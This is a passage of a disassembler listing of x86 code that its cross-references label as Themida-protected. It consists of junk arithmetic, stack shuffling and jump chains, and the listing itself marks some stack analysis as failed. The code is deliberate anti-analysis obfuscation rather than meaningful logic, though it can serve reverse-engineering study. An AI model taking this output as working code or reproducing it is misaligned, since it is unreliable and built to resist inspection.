; FUNCTION CHUNK AT 0055DCDE SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0055DD40 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0055DE25 SIZE 00000003 BYTES

		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], esi
		mov	esi, 27CD13D7h
		push	eax
		mov	eax, 42F628BBh
		add	esi, eax
		pop	eax
		shr	esi, 6
		sub	esi, 67F36E87h
		add	esi, 66486199h
		add	edx, esi
		pop	esi
		jmp	loc_55ADF1
; ---------------------------------------------------------------------------


loc_55AC21:				; CODE XREF: Themida_:00553B83j
		push	ebp
		mov	ebp, 74665715h
		jmp	loc_552D49
; ---------------------------------------------------------------------------


loc_55AC2C:				; CODE XREF: sub_5569C2+7j
		push	ecx
		jmp	loc_559111
; ---------------------------------------------------------------------------


loc_55AC32:				; CODE XREF: Themida_:00558139j
		mov	ebp, [esp-6+arg_0+2]
		jmp	loc_55679A
; ---------------------------------------------------------------------------


loc_55AC3A:				; CODE XREF: sub_55910B-2E4Dj
		neg	al
		add	al, 1Ah
		dec	al
		sub	al, 0DBh
		add	bl, al
		pop	eax
		xor	bl, 76h
		mov	dl, bl
		mov	ebx, [esp-0Ah+arg_4+2]
		add	esp, 4
		mov	ah, 0D1h
		jmp	loc_559843
; ---------------------------------------------------------------------------


loc_55AC5A:				; CODE XREF: Themida_:00556232j
		mov	[esp-0Eh+arg_8+2], ebx
		jmp	loc_5518E9
; ---------------------------------------------------------------------------


loc_55AC62:				; CODE XREF: Themida_:0055B079j
		push	ebp
		mov	ebp, 4A0563F6h
		sub	ebp, 52960584h
		shr	ebp, 2
		inc	ebp
		shl	ebp, 7
		not	ebp
		add	ebp, 134FEE9Ah
		add	eax, ebp
		pop	ebp
		shl	eax, 7
		sub	eax, 0F4F564DAh
		mov	edi, eax
		pop	eax
		and	edi, 56F515DCh
		neg	edi
		inc	edi
		shr	edi, 5
		xor	edi, 40707B51h
		xor	edi, 5E05A30Dh
		mov	ecx, edi
		pop	edi
		jmp	loc_55A9E9
; ---------------------------------------------------------------------------


loc_55ACAB:				; CODE XREF: Themida_:00558A6Aj
		xchg	eax, [esp-16h+arg_12]
		jmp	loc_55B511
; ---------------------------------------------------------------------------


loc_55ACB3:				; CODE XREF: sub_55802B+1FBEj
		mov	eax, 4
		add	esi, eax
		jmp	loc_554277
; ---------------------------------------------------------------------------


loc_55ACBF:				; CODE XREF: sub_551B2E+530Ej
		xor	[esp-16h+arg_12], ecx
		jmp	loc_554A55
; ---------------------------------------------------------------------------


loc_55ACC7:				; CODE XREF: sub_552118+AB7Aj
		and	edi, 605651D9h
		push	edi
		neg	[esp-12h+arg_C+2]
		jmp	loc_55A851
; ---------------------------------------------------------------------------


loc_55ACD6:				; CODE XREF: sub_55314C+A462j
		sub	ecx, 0E7414596h
		jmp	loc_551952
; ---------------------------------------------------------------------------


loc_55ACE1:				; CODE XREF: sub_551C53+BD89j
		pop	eax
		jmp	loc_555C55
; ---------------------------------------------------------------------------


loc_55ACE7:				; CODE XREF: sub_552BA6+8E47j
		pop	edx
		jmp	loc_55D9F6
; ---------------------------------------------------------------------------


loc_55ACED:				; CODE XREF: Themida_:0055653Fj
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55ACF2:				; CODE XREF: Themida_:0055C57Ej
		add	esp, 4
		add	ebp, 4
		push	edx
		push	ecx
		mov	ecx, 4
		push	ecx
		pop	edx
		pop	ecx
		add	ebp, 45EE67E8h
		add	ebp, edx
		sub	ebp, 45EE67E8h
		pop	edx
		xchg	ebp, [esp-1Eh+arg_1A]
		mov	esp, [esp-1Eh+arg_1A]
		xor	[esp-1Eh+arg_1A], eax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-1Ah+arg_16]
		push	ecx
		push	24B3h
		mov	[esp-12h+arg_C+2], esp
		add	[esp-12h+arg_C+2], 4
		mov	ecx, [esp-12h+arg_C+2]
		add	esp, 4
		push	eax
		jmp	loc_55CBF1
; ---------------------------------------------------------------------------


loc_55AD49:				; CODE XREF: sub_555B43-195Fj
		add	ebx, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		jmp	loc_55B288
; ---------------------------------------------------------------------------


loc_55AD65:				; CODE XREF: sub_551EE6+72B3j
		mov	[esp-0Ah+arg_4+2], ebx
		push	esi
		push	ebx
		push	ebp
		mov	ebp, 11EA05A9h
		mov	ebx, ebp
		jmp	loc_55C50A
; ---------------------------------------------------------------------------


loc_55AD77:				; CODE XREF: sub_55B585-2585j
		add	ch, 94h
		inc	ch
		jmp	loc_55BBD6
; ---------------------------------------------------------------------------


loc_55AD81:				; CODE XREF: sub_553ACA-21E6j
		pop	esp
		mov	[esp+0], edx
		push	ecx
		mov	ecx, 3B9B4786h
		push	edx
		mov	edx, 47A0045Bh
		shr	edx, 8
		inc	edx
		inc	edx
		jmp	loc_551914
; ---------------------------------------------------------------------------


loc_55AD9B:				; CODE XREF: sub_554592+817j
		pop	edi
		jmp	loc_55C5AA
; ---------------------------------------------------------------------------


loc_55ADA1:				; CODE XREF: sub_556BCD+3F75j
		sub	al, 0DDh
		add	al, ch
		jmp	loc_557A27
; ---------------------------------------------------------------------------


loc_55ADAA:				; CODE XREF: Themida_:005597BCj
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55ADAF:				; CODE XREF: Themida_:0055536Dj
		sub	edx, 0DFDF029h
		jmp	loc_55B5CC
; ---------------------------------------------------------------------------


loc_55ADBA:				; CODE XREF: sub_55ABF6-88AAj
		xor	esi, eax
		xor	eax, esi
		not	esi
		xchg	eax, esi
		shl	eax, 4
		sub	eax, 95F9B232h
		xor	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp-6+arg_0+2], esi
		not	[esp-6+arg_0+2]
		jmp	loc_558ECD
; ---------------------------------------------------------------------------


loc_55ADDA:				; CODE XREF: sub_55AE3A-9FBj
		mov	[esp-6+arg_0+2], eax
		mov	ah, 22h
		mov	cl, 0DBh
		sub	cl, ah
		mov	eax, [esp-6+arg_0+2]
		add	esp, 4
		or	cl, 61h
		jmp	loc_552174
; ---------------------------------------------------------------------------


loc_55ADF1:				; CODE XREF: sub_55ABF6+26j
		add	edx, 2
		xchg	edx, [esp-0Eh+arg_8+2]
		pop	esp
		dec	word ptr [esp-12h+arg_C+2]
		pushf
		jmp	loc_5514E3
sub_55ABF6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_55AE02:				; CODE XREF: Themida_:00557689j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	esi
		mov	esi, 519C1C23h
		push	ecx
		jmp	loc_55577A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55AE18:				; CODE XREF: sub_55A4DA+AB3j
		not	esi
		shl	esi, 3
		not	esi
		jmp	loc_553E45
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_55AE24:				; CODE XREF: Themida_:0055B6AAj
		pop	esi
		jmp	loc_559155
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55AE2A:				; CODE XREF: sub_55ABF6-12BAj
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xor	edi, [esp+0]
		jmp	loc_55D89D
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_55AE3A	proc near		; CODE XREF: sub_55A918-395Ej

var_6		= dword	ptr -6
arg_2		= dword	ptr  6

; FUNCTION CHUNK AT 005516F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00551713 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00551B98 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005523A7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00552B50 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00552CDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00553091 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055328A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055333A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055342F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005535B5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00553A83 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00553D2B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005542A4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005543AF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00554A63 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00554EA3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005552C4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00555A69 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00556E08 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00556E9F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00556F17 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00557208 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00557AB9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00557B2C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00557C04 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055828E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00558E24 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00558FD7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055969E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00559970 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00559D00 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00559F35 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055A437 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055A503 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055ABE2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055B624 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055C25A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055CDFF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CE53 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055CEAE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055D070 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055D2FB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055DA32 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055DABB SIZE 0000000A BYTES

		push	ebx
		jmp	loc_55DA32
sub_55AE3A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_55AE40:				; CODE XREF: sub_552791+9931j
		push	ecx
		mov	ch, 0F2h
		jmp	loc_55C275
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------


loc_55AE48:				; CODE XREF: Themida_:00556BF4j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_55882A
; ---------------------------------------------------------------------------


loc_55AE5D:				; CODE XREF: Themida_:0055C413j
		pop	ebx
		xor	eax, 473E5B99h
		or	ecx, eax
		pop	eax
		sub	ecx, 520C63C7h
		jmp	loc_55C729
; ---------------------------------------------------------------------------


loc_55AE71:				; CODE XREF: Themida_:0055B35Cj
		add	edi, 4
		jmp	loc_554ECA
; ---------------------------------------------------------------------------


loc_55AE7C:				; CODE XREF: Themida_:00557AACj
		pop	edi
		push	ecx
		mov	ecx, 3C5E277Ch
		shr	ecx, 5
		not	ecx
		not	ecx
		jmp	loc_559881
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55AE8F:				; CODE XREF: sub_55ABF6-5F18j
		pop	esp
		push	ebp
		jmp	loc_553E54
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55AE96:				; CODE XREF: Themida_:0055BACBj
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55AEA0:				; CODE XREF: sub_551F97+2B02j
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		shr	si, 3
		sub	si, 8F57h
		jmp	loc_55C2FB
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_55AEB8:				; CODE XREF: sub_55C840-B2F2j
		sub	dl, 0BFh
		jmp	loc_555F68
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55AEC0:				; CODE XREF: sub_55ABF6-6B01j
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55AEC5:				; CODE XREF: sub_55314C+92Bj
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_55628A
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------


loc_55AED9:				; CODE XREF: Themida_:00558EC8j
		and	[edi+1Ch], ecx
		jmp	loc_55D4D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55AEE1:				; CODE XREF: sub_55ABF6+1488j
		add	[esp-10h+arg_C], 4
		jmp	loc_558AD3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55AEEA:				; CODE XREF: sub_55314C+2398j
		pop	ebp
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	edi
		jmp	loc_559B94
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55703A


loc_55AEFA:				; CODE XREF: sub_55703A+430Cj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		add	esp, 4
		push	[esp-4+arg_0]
		pop	eax
		push	211Ch
		mov	[esp+0], edx
		jmp	loc_553785
; END OF FUNCTION CHUNK	FOR sub_55703A
; ---------------------------------------------------------------------------


loc_55AF45:				; CODE XREF: Themida_:0055D6B8j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_557E90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E8E


loc_55AF52:				; CODE XREF: sub_552E8E-77Dj
		shl	ebp, 3
		jmp	sub_552118
; END OF FUNCTION CHUNK	FOR sub_552E8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55AF5A:				; CODE XREF: sub_55A4DA-231Dj
		add	edx, 32610AEDh
		and	edx, 7A9252ADh
		push	eax
		mov	eax, 729D7C6Eh
		jmp	loc_555FDD
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55AF71:				; CODE XREF: sub_559249-EDBj
		pop	eax
		push	ebx
		mov	ebx, 80h
		jmp	loc_5546AB
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55AF7D:				; CODE XREF: sub_55A4DA+2F7j
		sub	ebx, edx
		add	ebx, 61991B1Bh
		pop	edx
		push	esi
		mov	esi, 1F837F2Ah
		dec	esi
		jmp	loc_55AE18
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_55AF92:				; CODE XREF: Themida_:0055BD46j
		mov	[esp], esp
		push	esi
		mov	esi, 4
		jmp	loc_55B419
; ---------------------------------------------------------------------------


loc_55AFA0:				; CODE XREF: Themida_:0055ABAFj
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55AFA9:				; CODE XREF: Themida_:00552EB2j
		pop	ebp
		push	48B9h
		jmp	loc_559F1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55AFB4:				; CODE XREF: sub_55ABF6-5481j
		mov	ebx, [esp-6+arg_0+2]
		add	esp, 4
		jmp	loc_55BC45
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B265


loc_55AFBF:				; CODE XREF: sub_55B265-68AFj
		sub	ecx, eax
		pop	eax
		add	ebx, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], edi
		mov	edi, 2
		add	ebx, edi
		mov	edi, [esp+8+var_8]
		jmp	loc_553696
; END OF FUNCTION CHUNK	FOR sub_55B265
; ---------------------------------------------------------------------------


loc_55AFE2:				; CODE XREF: Themida_:0055DB29j
		pop	esp
		jmp	loc_5518BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55AFE8:				; CODE XREF: sub_559249+441Bj
		mov	edi, 1A2D0D85h
		sub	edi, 27152B39h
		add	edi, 463649E0h
		not	edi
		shl	edi, 3
		xor	edi, 57B5AC32h
		mov	ebx, edi
		pop	edi
		jmp	loc_55C083
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B00C:				; CODE XREF: sub_55ABF6+2E0Ej
		pop	ecx
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	sub_55DE28
		push	2B20h
		mov	[esp-0Eh+arg_8+2], ebx
		push	edi
		jmp	loc_555AA8
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55B026:				; CODE XREF: sub_55CE17-7EFFj
		sub	[edi+24h], ecx
		jmp	loc_557B8A
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55389F


loc_55B02E:				; CODE XREF: sub_55389F-1D76j
		pop	eax
		shl	ecx, 7
		jmp	loc_555F80
; END OF FUNCTION CHUNK	FOR sub_55389F
; ---------------------------------------------------------------------------


loc_55B037:				; CODE XREF: Themida_:00552CB9j
		push	edi
		jmp	loc_557FDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_55B03D:				; CODE XREF: sub_55D40D-341Bj
		push	edx
		mov	edx, 4
		jmp	loc_559E14
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
		push	19EBh
		mov	[esp], edx
		push	2F8769Eh
		mov	edx, [esp]
		add	esp, 4
		inc	edx
		sub	edx, 7C7E18C4h
		sub	edx, 867A5DDBh
		mov	ebx, edx
		mov	edx, [esp]
		jmp	loc_55D34D
; ---------------------------------------------------------------------------


loc_55B072:				; CODE XREF: Themida_:00555A64j
		push	edi
		push	eax
		mov	eax, 469B66ECh
		jmp	loc_55AC62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A407


loc_55B07E:				; CODE XREF: sub_55A407-25B3j
		add	esi, edx
		add	esi, 8854BB6h
		sub	esi, 3D526E2Eh
		pop	edx
		add	esi, 2
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_553481
; END OF FUNCTION CHUNK	FOR sub_55A407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B0A4:				; CODE XREF: sub_55ABF6-467Aj
		mov	edx, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_558010
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 26685524h, 0E900001Ch, 0FFFFEEBEh
; ---------------------------------------------------------------------------


loc_55B0C4:				; CODE XREF: Themida_:00558BF7j
		push	18C8h
		jmp	loc_5590FF
; ---------------------------------------------------------------------------


loc_55B0CE:				; CODE XREF: Themida_:0055DECFj
		sub	ebp, 0D68E007Fh
		add	edi, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	edi, 2BFC3458h
		jmp	loc_558C5B
; ---------------------------------------------------------------------------


loc_55B0F4:				; CODE XREF: Themida_:0055BA3Aj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_55B6E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55B100:				; CODE XREF: sub_55CE17-191Cj
		pop	ebx
		add	edx, 4
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_55608F
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_55B10F:				; CODE XREF: sub_55611A+381Bj
		add	esp, 4
		push	ecx
		sub	esp, 4
		jmp	loc_559A3B
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_55B11E:				; CODE XREF: sub_558326-13FCj
		mov	esi, 69BB0A56h
		jmp	loc_55967D
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556EE1


loc_55B128:				; CODE XREF: sub_556EE1+4F96j
		add	edi, ebp
		pop	ebp
		add	edi, edx
		jmp	loc_554051
; END OF FUNCTION CHUNK	FOR sub_556EE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555C6B


loc_55B132:				; CODE XREF: sub_555C6B+31j
		pop	edx
		jmp	loc_55725D
; END OF FUNCTION CHUNK	FOR sub_555C6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55B138:				; CODE XREF: sub_559249-64E8j
		pop	esp
		jmp	loc_55B7BD
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_55B13E:				; CODE XREF: sub_55C87F-15B7j
		add	ebx, edx
		pop	edx
		sub	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		jmp	loc_554F96
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B150:				; CODE XREF: sub_55ABF6-40ABj
		mov	[esp+0], ecx
		jmp	loc_55C05D
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_559275

; =============== S U B	R O U T	I N E =======================================



sub_55B17A	proc near		; DATA XREF: Themida_:00551398o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	1865h
		mov	[esp+4+var_4], edx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	0FEh
		pop	eax
		mov	edx, eax
		mov	eax, [esp+8+var_8]
		add	esp, 4
		and	[edi+1Ch], edx
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	3874h
		mov	[esp+8+var_8], edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp+8+var_8]
		pop	esp
		jmp	loc_5514E3
sub_55B17A	endp

; ---------------------------------------------------------------------------


loc_55B1CD:				; CODE XREF: Themida_:0055A062j
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4
		jmp	loc_55929E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B1DF:				; CODE XREF: sub_55ABF6-7A81j
		push	edx
		mov	edx, 4
		sub	edi, 760D0733h
		sub	edi, edx
		add	edi, 760D0733h
		jmp	loc_554C55
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_55B1F8	proc near		; DATA XREF: Themida_:0055126Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005527C8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00555E35 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00556A4A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00556BC4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558312 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055C02A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055D646 SIZE 0000000C BYTES

		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	esp
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	ecx
		push	edi
		push	531028BFh
		pop	edi
		xor	edi, 0C9778A5h
		mov	ecx, edi
		pop	edi
		not	ecx
		sub	ecx, 755630B6h
		jmp	loc_55C02A
sub_55B1F8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55B22A:				; CODE XREF: sub_55CE17-76F4j
		mov	ebp, esp
		jmp	loc_5563BC
; END OF FUNCTION CHUNK	FOR sub_55CE17

; =============== S U B	R O U T	I N E =======================================



sub_55B231	proc near		; DATA XREF: Themida_:005512C4o

; FUNCTION CHUNK AT 0055B850 SIZE 00000005 BYTES

		pop	small word ptr [edx]
		jmp	loc_55B850
sub_55B231	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_55B239:				; CODE XREF: Themida_:0055CD3Cj
		sub	ecx, 1
		xor	ecx, 3B5F1E6Ch
		jmp	loc_556A43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55B24A:				; CODE XREF: sub_55CE17-4EE4j
		mov	eax, 4F4A3D98h
		dec	eax
		jmp	loc_55D4C4
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_55B255:				; CODE XREF: Themida_:0055CB5Cj
		or	ch, al
		pop	eax
		add	ch, 15h
		mov	bl, ch
		pop	ecx
		mov	ah, bl
		jmp	loc_55602B

; =============== S U B	R O U T	I N E =======================================



sub_55B265	proc near		; CODE XREF: sub_55ABF6+1AAAj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 00553696 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00553F35 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00554995 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005565F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005577F8 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00557A3C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055AFBF SIZE 00000023 BYTES

		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		jmp	loc_553F35
sub_55B265	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A407


loc_55B276:				; CODE XREF: sub_55A407-790Cj
		pop	edx
		push	ebp
		mov	ebp, 14C5D71h
		and	ebp, 76CF4954h
		jmp	loc_55D04C
; END OF FUNCTION CHUNK	FOR sub_55A407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B288:				; CODE XREF: sub_55ABF6+16Aj
		pop	ebx
		push	edx
		push	[esp-0Ah+arg_8+2]
		pop	edx
		pop	[esp-0Ah+arg_4+2]
		pop	esp
		mov	[esp-12h+arg_C+2], eax
		mov	eax, 2
		add	ebx, eax
		pop	eax
		push	ebx
		push	[esp-12h+arg_12]
		mov	ebx, [esp-0Eh+arg_8+2]
		jmp	loc_55A3D6
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_55B2AB:				; CODE XREF: sub_55C87F-37Aj
		add	ebp, 42280205h
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		sub	edx, 0A18C8645h
		jmp	loc_55B13E
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B2CD:				; CODE XREF: sub_55ABF6-38BEj
		mov	[esp+0], ebx
		push	5F6Fh
		mov	[esp+4+var_4], esp
		jmp	loc_557F29
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_55B2DD:				; CODE XREF: sub_5546E4-F64j
		sub	edx, 786A07FCh
		mov	eax, edx
		pop	edx
		sub	ebx, eax
		pop	eax
		push	ebx
